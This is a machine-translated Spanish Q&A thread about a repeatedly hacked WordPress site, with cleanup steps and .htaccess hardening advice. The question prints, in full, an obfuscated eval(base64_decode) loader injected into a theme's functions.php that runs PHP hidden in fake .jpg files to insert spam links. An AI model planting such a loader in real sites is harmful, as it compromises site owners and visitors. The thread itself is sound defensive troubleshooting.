tutorial - wordpress plugins
El sitio de Wordpress sigue siendo hackeado (2)
Me encontré con este problema con varios de mis sitios web e incluso después de cambiar todo (todos los archivos nuevos con un solo sitio web, pero con el mismo archivo de configuración) ... Me atacaron de todos modos.
Todos los días me despertaba con alertas por correo electrónico que decían que 30 archivos diferentes fueron editados o reemplazados. Cada vez que lo limpiaba, volvía unas horas más tarde ... Pero estaba desconcertado ya que eran todos archivos nuevos. Lo único que fue igual fue el archivo wp-config.php .
Resulta que las teclas Hash eran demasiado cortas. Los sitios se crearon hace 3 años, pero se actualizaron por completo hasta este punto, pero tan pronto como cambié las claves hash para que fueran mucho más largas, el problema se detuvo.
Ejemplo de claves hash:
Aquí puede ir para generar nuevas claves: https://api.wordpress.org/secret-key/1.1/salt/
Tengo un sitio de Wordpress que sigue siendo pirateado. Por lo que puedo decir, se están realizando los siguientes cambios:
Este archivo tiene un código PHP adicional en la parte superior:
wp-content / themes / enfold / functions.php
como sigue:
eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));
y se están creando 4 nuevos archivos jpg:
/wp-includes/images/geo.jpg
/wp-includes/images/save.jpg
/wp-includes/images/magic.jpg
/wp-includes/images/links.jpg
Estos no son archivos jpg reales ya que no se abren, pero mirarlos con un editor de texto revela texto y código PHP adicional.
Al mirar el código PHP, parece que está tratando de inyectar algunos enlaces de spam / publicidad en mis POSTES de Wordpress.
Sigo borrando estos archivos, instalé un complemento de seguridad, eliminé el inicio de sesión de administrador, cambié todas mis contraseñas, pero estos archivos continúan actualizándose / creando cada pocos días.
Estoy tratando de entender cómo esto es posible y qué debo hacer a continuación para bloquearlo.
Primero que nada - NO ENTRE EN PÁNICO .
Instalar antivirus o complementos de seguridad en este punto rara vez será de ayuda: el código malicioso ya tiene acceso al servidor.
1 - cambie TODAS las contraseñas para
FTP
,
mysql
,
DB
,
Cpanel
,
WHM
,
SSH
(deshabilite si no es necesario) etc. cualquier cosa con acceso.
3 - Verifique su servidor (todas las carpetas como
cgi
,
cgi-bin
,
ftp
, etc.) Elimine toda la carpeta de
wordpress
(excepto
wp-content
) y todos los demás archivos extraños.
Elimine todos los temas y todos los complementos y compruebe el resto del
wp-content
de
wp-content
manualmente y con atención.
Haga una copia de seguridad de la base de datos y verifíquela manualmente.
3.1 - (EDITAR 1) - No permitir índices en Cpanel / WHM. Y lea a continuación las protecciones .htaccess.
2 - Cargue archivos nuevos de wordpress CORE al
directorio PROPIO
(no root) y cámbiele el nombre a otra cosa (no
wp
o
wordpress
).
3 - Actualizar plugin y temas: no copie los que tiene, sino que instale nuevos y actualizados desde el repositorio de plugins de wp, y un tema nuevo y limpio. Verifique manualmente si es necesario.
En su tema, verifique todos los
forms
o
input fields
y verifique la validación correcta de la entrada.
4 - Cambie todas las contraseñas de DB en la
wp-config
.
Todos los hashes, etc.
Cree una nueva Base de datos Y usuario Y nuevas contraseñas.
Compruebe manualmente la copia de seguridad de la base de datos ANTES de inyectarla nuevamente.
4.1 - (EDITAR I) Olvidé mencionar - Cambiar también el prefijo DB.
No dejes
wp
5 - Cambiar todas las contraseñas de usuario y nombres de usuario de wp. Si tiene un sitio abierto con cientos de usuarios, haga un script para obligar a todos a cambiar las contraseñas. Si solo tiene una docena, cámbielo manualmente. Cuando dije todo: incluye al usuario administrador predeterminado (de versiones anteriores)
6 - Después de un tiempo, verifique el registro de su servidor y vea si los mensajes 404 para los archivos de imágenes falsas provienen de una única dirección IP (probablemente no), si es así, bloquéelos.
7 - No hay mucho más que puedas hacer, excepto tener cuidado. Es mucho trabajo, pero no seas perezoso y sigue todos los pasos. De lo contrario, no es solo este sitio, sino que todo el servidor podría verse comprometido. Una y otra vez ,.
Pautas para que eso no vuelva a suceder:
-
Elija contraseñas seguras. - a todos no nos gustan las contraseñas que se ven como
aDf34HG§*#sFGT
, pero SONaDf34HG§*#sFGT
, especialmente enDB
u otras tareas automatizadas. Para usuarios: fuerce al menos un símbolo y una letra. -
No instale temas y complementos que no conozca, no comprenda completamente o que haya descargado de fuentes cuestionables (
all-wp-premium-themes-for-free-and-direct-download-all-plugins-for-free
etc.). -
Mantenga actualizados los archivos principales de WordPress.
- Verifique el servidor de vez en cuando manualmente.
.htaccess
Algunas directivas que pueden evitar (o al menos intentar) que esto vuelva a suceder.
Archivo .htaccess en el directorio raíz de WordPress.
#Disallow indexes
Options All -Indexes
# protect wp-config.php
<files wp-config.php>
Order deny,allow
Deny from all
</files>
# WPhtC: Protect .htaccess file
<files ~ "^.*/.([Hh][Tt][Aa])">
order allow,deny
deny from all
</files>
robots.txt
Disallow: /wp-*
Otra cosa que puede hacer es obligar a los usuarios (y a usted mismo) a usar SSL (HTTPS) cuando inicie sesión en el administrador:
define(''FORCE_SSL_LOGIN'', true);
Hay otras cosas, más complicadas, especialmente en el lado APACHE. Si tengo más tiempo, publicaré una entrada de blog y un enlace aquí. Pero lo anterior escrito es un buen comienzo.